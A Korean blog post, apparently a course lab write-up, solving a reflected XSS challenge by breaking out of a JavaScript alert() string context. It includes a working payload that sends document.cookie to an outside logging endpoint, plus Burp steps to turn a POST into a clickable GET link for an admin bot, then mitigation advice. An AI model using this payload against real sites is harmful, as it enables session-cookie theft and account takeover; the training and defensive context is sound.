해킹스터디

[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-2

herini0829 2025. 12. 30. 15:22

🕵️ XSS-2 문제 풀이: 자바스크립트 문법을 깨고 들어가는 기법

XSS-1에 이어 2번 문제도 이어서 풀어보았다. 이번에는 단순한 태그 삽입이 아니라, 스크립트 구문 안에서 탈출해야 하는 조금 더 세밀한 접근이 필요했다.


1. 다시 시작된 탐색 (Search의 반전)

XSS-1과 비슷하게 마이페이지 등 이곳저곳을 찔러봤지만 별다른 수확이 없었다. 그래서 다시 공지사항 게시판의 **Search(검색)** 기능을 시도해 봤다.

어라? 아까 1번 문제에서는 검색어가 응답에 안 보였던 것 같은데, 이번에는 내가 입력한 값이 그대로 화면에 반환된다. "뭔가 될 거 같다"는 직감이 들어 바로 Burp Suite로 패킷을 뜯어봤다.


2. HTML Entity의 함정과 새로운 발견

기대감을 가지고 < ' " > 특수문자들이 다 먹히는지 테스트해 봤는데...

"아, 또 HTML Entity 치환돼서 안 되네..."라고 포기하려던 찰나, Response 하단에서 아주 중요한 부분을 발견했다. 내 입력값이 그냥 텍스트로 나오는 게 아니라 <script> 태그 안의 alert() 함수 내부에 들어가 있는 것이었다!

원본 코드 형태:
<script>alert('내_입력값에 대한 검색 결과가 존재하지 않습니다.');</script>

이걸 보는 순간, "SQL Injection 할 때처럼 문법을 변조하면 되겠다!"는 생각이 스쳤다. 태그를 새로 만드는 게 아니라, 이미 실행 중인 스크립트 구문을 중간에 끊고 내 코드를 삽입하는 방식이다.


3. 스크립트 문법 변조 (Context Injection)

목표는 alert('...')의 싱글 쿼터(')와 괄호())를 닫고, 세미콜론(;)으로 문장을 끝낸 뒤 내 공격 코드를 넣는 것이다. 그리고 뒷부분에 남은 웹 서버의 나머지 코드들이 문법 에러를 일으키지 않도록 잘 마무리해 줘야 한다.

공격 코드 설계

직접 입력해 줘야 하는 핵심 페이로드는 다음과 같다.

1'); var i=new Image(); i.src='https://[내-Beeceptor-주소]/?c='+document.cookie; ('

이걸 입력하면 최종적으로 서버가 완성하는 코드는 이렇게 변한다.

<script>
  alert('1'); var i=new Image(); i.src='.../?c='+document.cookie; ('에 대한 검색 결과가 존재하지 않습니다.');
</script>

중간에 ('를 넣어준 이유는 뒷부분에 남는 에 대한 검색 결과... 문자열을 다시 괄호로 감싸서 문법 오류를 방지하기 위해서다. 아주 깔끔하다!

 

위와 같이 입력하면 alert('1')이 먼저 뜨고 서버에 쿠키도 보내게 된다. 여기서 사회공학 기법을 더 강화하려면 '1' 자리에 좀 더 그럴 듯한 내용을 넣으면 된다.

 

끝난것 같지만 문제가 하나 있다. 우리는 관리자의 세션이 필요한 것이다. 관리자가 특정 reflected XSS 링크를 클릭하게 하여야한다.

 

requesturl링크로 만들어서 클릭하게 하면 되는데 문제가 있다. 현재 이 requestPOST 방식이다. Reflected XSS의 기본은 GET요청이다. 여기서 한가지 스끼릿(Skill)이 있다. 버프의 기능을 활용하는 방법인데

중간에 보면 Change request method가 보일 것이다. 저걸 클릭한 후 Copy URL을 눌러서 관리자 봇에게 쏘게하면 된다.(만약 공격 당하는 서버가 해당 페이지 관련해서 get method를 안받아주는 경우엔 이 공격은 통하지 않을 것 같다)

 

get으로 변경하고

관리자에게 접속하게 하면 !

성공~!


4. 최종 공격과 삽질의 교훈 (URL 인코딩)

그런데 한 가지 주의할 점이 있었다. Burp Repeater에서 직접 입력할 때는 **URL 인코딩**을 신경 써야 한다. 공백은 +로, 실제 코드에 쓰인 + 기호는 %2B로 바꿔줘야 서버가 제대로 인식한다.

최종 페이로드:
1');+var+i=new+Image();i.src='https://[주소]/?c='%2Bdocument.cookie;('

[Image 4 삽입: Beeceptor 로그에 관리자의 세션 쿠키가 탈취된 최종 화면]

결과는 성공! 관리자 봇이 검색 결과를 확인하는 순간, 내 Beeceptor 서버로 쿠키 값이 날아왔다.


💡 보안 분석 및 소감

이번 문제는 'XSS는 태그 주입만이 전부가 아니다'라는 것을 보여준다. 개발자가 <, >만 막으면 안전할 거라 믿고 데이터를 스크립트 영역(JavaScript Context)에 직접 넣었을 때 발생하는 위험을 잘 보여주는 사례였다.

✅ 해결책 정리
1. 데이터와 코드의 분리: 자바스크립트 변수에 사용자 입력값을 넣어야 한다면, 단순한 문자열 치환이 아니라 JSON 형태로 안전하게 전달하거나, 자바스크립트용 이스케이프 처리를 완벽하게 해야 한다.
2. 강력한 필터링: 꺽쇠뿐만 아니라 싱글 쿼터('), 더블 쿼터("), 세미콜론(;) 등 자바스크립트 문법을 파괴할 수 있는 문자들에 대해서도 엄격한 검증이 필요하다.

XSS-1은 태그로, XSS-2는 문법 변조로! 같은 XSS라도 상황에 따라 접근 방식이 완전히 달라진다는 게 정말 흥미로웠다. 다음 문제들도 기대된다. 😎